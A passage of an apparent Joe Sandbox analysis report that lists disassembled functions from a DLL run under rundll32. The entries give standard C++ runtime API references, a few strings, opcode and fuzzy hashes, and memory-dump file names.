Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID: " not used$er "
API String ID: 0-1755945580
Opcode ID: bc5bb92e80968848ec16bdd195df5b918e62b17518c6269ed00f544ca915cc62
Instruction ID: 2851769739c05e0d4adf7c7f6eed3d7c63d7d87766310fdc597653140fddb44b
Opcode Fuzzy Hash: bc5bb92e80968848ec16bdd195df5b918e62b17518c6269ed00f544ca915cc62
Instruction Fuzzy Hash: 2271C462B15B8699FB00DF64D4543BC3361FB45B98F009231DA6C1ABEADF78E190C340

Function 00007FFDFB617D20 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB617DA0
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FFDFB617DE8
_Getctype.LIBCPMT ref: 00007FFDFB617E05
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB617EA0

Strings

bad locale name, xrefs: 00007FFDFB617EC8

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: b4162dc788abb0fc688f75f274c2836c48c649c232623867d3c3f96a10c8f3bf
Instruction ID: e2f1a4803dd1b3fba2cf79ee011272e0be4354d62bf4e8636706b654919e5377
Opcode Fuzzy Hash: b4162dc788abb0fc688f75f274c2836c48c649c232623867d3c3f96a10c8f3bf
Instruction Fuzzy Hash: A0516D23B0BB4299EB15DBA0D420ABD33E5EF84B44F045434DE5D1BAAECF38E9158354

Function 00007FFDFB67C42C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00007FFDFB67C4D2
_Maklocstr.LIBCPMT ref: 00007FFDFB67C4E8
_Getvals.LIBCPMT ref: 00007FFDFB67C58D

Strings

true, xrefs: 00007FFDFB67C4E1
false, xrefs: 00007FFDFB67C4CB

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Maklocstr$Getvals
String ID: false$true
API String ID: 3025811523-2658103896
Opcode ID: 7d7c82b35f76b3a69be7dcc2c8a5898e97bbfdb4dd3c7eb949fd44030a0dfc02
Instruction ID: 0b08ae93ccbdfc5a6ea01aed1fc327c8cbd525509ba93b68ac91d87b4bc11083
Opcode Fuzzy Hash: 7d7c82b35f76b3a69be7dcc2c8a5898e97bbfdb4dd3c7eb949fd44030a0dfc02
Instruction Fuzzy Hash: 8B415C22B09B4299F710CF70E4605ED33B1FB58748B545226EE4D2BA9DEF38D656C344

Function 00007FFDFB6B9D4C Relevance: 7.7, APIs: 5, Instructions: 196COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FFDFB6B9D8F
_set_statfp.LIBCMT ref: 00007FFDFB6B9DAD
_set_statfp.LIBCMT ref: 00007FFDFB6B9DD6
_set_statfp.LIBCMT ref: 00007FFDFB6BA00F

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 1e515b83910e1ad557e1211ff0c173aa8cec3e851a6f82ab339354090be1f7a0
Instruction ID: a674c9c1e9584be6bd8e1d303d61d8b20b154edb56b157cb2e5c5d34643723c4
Opcode Fuzzy Hash: 1e515b83910e1ad557e1211ff0c173aa8cec3e851a6f82ab339354090be1f7a0
Instruction Fuzzy Hash: ED81A516B0EA8745F7328B35E460B7A6674BF59394F048235EA6D1E5FDDF3CA4818E00

Function 00007FFDFB670814 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB670829
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67084E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB670878
std::_Facet_Register.LIBCPMT ref: 00007FFDFB6708EF
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB670910

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: ce2ef77f5f3450f942c53508b978ad9313a16bab8c7eda1c7460c97b6a344472
Instruction ID: 76d705bf874cd295f822a79583c19c057f9588c1e63927c0479e3f438844398d
Opcode Fuzzy Hash: ce2ef77f5f3450f942c53508b978ad9313a16bab8c7eda1c7460c97b6a344472
Instruction Fuzzy Hash: 02416D22B1BA4381EF15AB56E8609B97361EB84B94F180132DA6D8F2FDDE3CE4418350

Function 00007FFDFB6986A4 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFDFB69871D
DName::operator+.LIBVCRUNTIME ref: 00007FFDFB69873F
DName::DName.LIBVCRUNTIME ref: 00007FFDFB698752
DName::DName.LIBVCRUNTIME ref: 00007FFDFB698789
DName::DName.LIBVCRUNTIME ref: 00007FFDFB698794

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: NameName::$Name::operator+
String ID:
API String ID: 826178784-0
Opcode ID: 69de720bbab531972927302ee6e4f240c3738ec48c52c65b2bd20abbdef56bb1
Instruction ID: 599bc8d0cf233f890da41abec8176c6b7201728af1a1c2faa14e58cefe1abdeb
Opcode Fuzzy Hash: 69de720bbab531972927302ee6e4f240c3738ec48c52c65b2bd20abbdef56bb1
Instruction Fuzzy Hash: 46414932B1AB5794EB10CB21D8A09BC37A4BB55BC8B544032DA6D9B7F9DF38E555C300

Function 00007FFDFB66ECBC Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66ECD1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66ECF6
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66ED20
std::_Facet_Register.LIBCPMT ref: 00007FFDFB66ED97
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66EDB8

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 5a521daa8ea21979899045d685b5d107f2987a103107fa7bf10de473199684c0
Instruction ID: 395cb40dd9b7b70218a77fd32fd417a1e56f1a9d3057b028742effa271550502
Opcode Fuzzy Hash: 5a521daa8ea21979899045d685b5d107f2987a103107fa7bf10de473199684c0
Instruction Fuzzy Hash: C3318421B0BB4385EB159B15E4609B97362EB54BA4F084232EA6D4F6FDDF3CE842C340

Function 00007FFDFB6703B4 Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB6703C9
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB6703EE
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB670418
std::_Facet_Register.LIBCPMT ref: 00007FFDFB67048F
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB6704B0

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 1b7da1bfcb8a4893f41643d6d4a94420a7773b965c88529beb9f3d7b9d0f06b1
Instruction ID: ae9b23eda6df0afaa1b11fac529626f7b2bedea05d6c8f6bd20b1d9e7bf50918
Opcode Fuzzy Hash: 1b7da1bfcb8a4893f41643d6d4a94420a7773b965c88529beb9f3d7b9d0f06b1
Instruction Fuzzy Hash: 03318122B1BB4394EB05DB15E8609B97361EB54BA4F280132DA6D8B2FDDE3CE4428350

Function 00007FFDFB67029C Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB6702B1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB6702D6
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB670300
std::_Facet_Register.LIBCPMT ref: 00007FFDFB670377
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB670398

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: f0bc4bcb4c49939c96c1d54cace586f1f172fbe19db3ca2ecda7d1868fc3fd18
Instruction ID: 4aa9abb3d1a19af36404311097dcf1c965153ab1e5ec1dcd6e479d9650af512d
Opcode Fuzzy Hash: f0bc4bcb4c49939c96c1d54cace586f1f172fbe19db3ca2ecda7d1868fc3fd18
Instruction Fuzzy Hash: 8A317022B1BB4396EB159B15E4609B97361EB44BA4F1C0132DABD8F6F9DF7CE4428310

Function 00007FFDFB670184 Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB670199
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB6701BE
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB6701E8
std::_Facet_Register.LIBCPMT ref: 00007FFDFB67025F
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB670280

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: c96fb6cb73cec50af09e35f525e9a05244bb4dc41f10abc57be67ee9c5b743c9
Instruction ID: 8f5ed6497945755c05db06650ab487e32a93fbb62e084e8ea13f381bdab30100
Opcode Fuzzy Hash: c96fb6cb73cec50af09e35f525e9a05244bb4dc41f10abc57be67ee9c5b743c9
Instruction Fuzzy Hash: B6318122B1BB4384EB069B55E8609B9B361FB54B90F180132DA7D8B6F9DF3CE402C350

Function 00007FFDFB67006C Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB670081
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB6700A6
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB6700D0
std::_Facet_Register.LIBCPMT ref: 00007FFDFB670147
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB670168

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: cdc473011bac3098df1c3b3f06e16953bf80e94071dbfe54df8a24e09a40d174
Instruction ID: 118cc4a4d52cf0c4da35d6a696b007bdabc2e13e55cc729d073d4c0bde093e6c
Opcode Fuzzy Hash: cdc473011bac3098df1c3b3f06e16953bf80e94071dbfe54df8a24e09a40d174
Instruction Fuzzy Hash: 7F31BC22B1BB4384EB059B55E8609B9B321EB44BE0F184132DA6D8B6F9DF3CE4428310

Function 00007FFDFB6706FC Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB670711
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB670736
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB670760
std::_Facet_Register.LIBCPMT ref: 00007FFDFB6707D7
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB6707F8

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 6e2dd014bc781938d1a90ee547d02fd646c25a6a84c1b7a73ae2e82618936c3b
Instruction ID: 5f9fcf0097b774ad32805c026abe1c5c1453cc4309492d70ef5fab678d9dc593
Opcode Fuzzy Hash: 6e2dd014bc781938d1a90ee547d02fd646c25a6a84c1b7a73ae2e82618936c3b
Instruction Fuzzy Hash: B4318226B0BB4384EB059B15E8609B9B361EB44BA4F184132DA6D8F6FDDF3CE4428710

Function 00007FFDFB6705E4 Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB6705F9
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67061E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB670648
std::_Facet_Register.LIBCPMT ref: 00007FFDFB6706BF
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB6706E0

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 2dc4ac02a1fc523ad625ffc5b5a28ab8e343ad62bffbfda5af4f591baa7eb9e8
Instruction ID: 3f38c3d26ec548de5091e6c135a6bce0d188040738c1d412091e409dc173e2fc
Opcode Fuzzy Hash: 2dc4ac02a1fc523ad625ffc5b5a28ab8e343ad62bffbfda5af4f591baa7eb9e8
Instruction Fuzzy Hash: 56315D22B1BA4395EB05DB15E4709B97361EB84BE4F284132DA6D8B6FDDF6CE4428310

Function 00007FFDFB6704CC Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB6704E1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB670506
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB670530
std::_Facet_Register.LIBCPMT ref: 00007FFDFB6705A7
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB6705C8

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 974bc0ca5233c9b56f8c282e113b0f7eec85ceea75df75b12d7bec11795239ec
Instruction ID: 39ff65e7252d48ed0ea5d9ff1855e098145a5c7312c9fe69710aad4f36a43818
Opcode Fuzzy Hash: 974bc0ca5233c9b56f8c282e113b0f7eec85ceea75df75b12d7bec11795239ec
Instruction Fuzzy Hash: 12317022B0BB4784FB159B15E5609B9B361EB44BA4F184132DA6D8F6F9DF3CE4468310

Function 00007FFDFB66852C Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB668541
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB668566
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB668590
std::_Facet_Register.LIBCPMT ref: 00007FFDFB668607
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB668628

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
